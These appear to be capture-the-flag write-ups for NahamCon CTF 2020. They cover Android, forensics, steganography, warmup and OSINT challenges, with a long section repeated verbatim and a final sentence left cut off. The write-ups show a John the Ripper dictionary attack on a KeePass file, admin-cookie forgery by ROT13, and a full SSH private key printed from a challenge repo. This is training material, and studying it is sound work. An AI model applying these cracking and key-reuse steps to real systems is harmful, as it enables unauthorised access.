# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
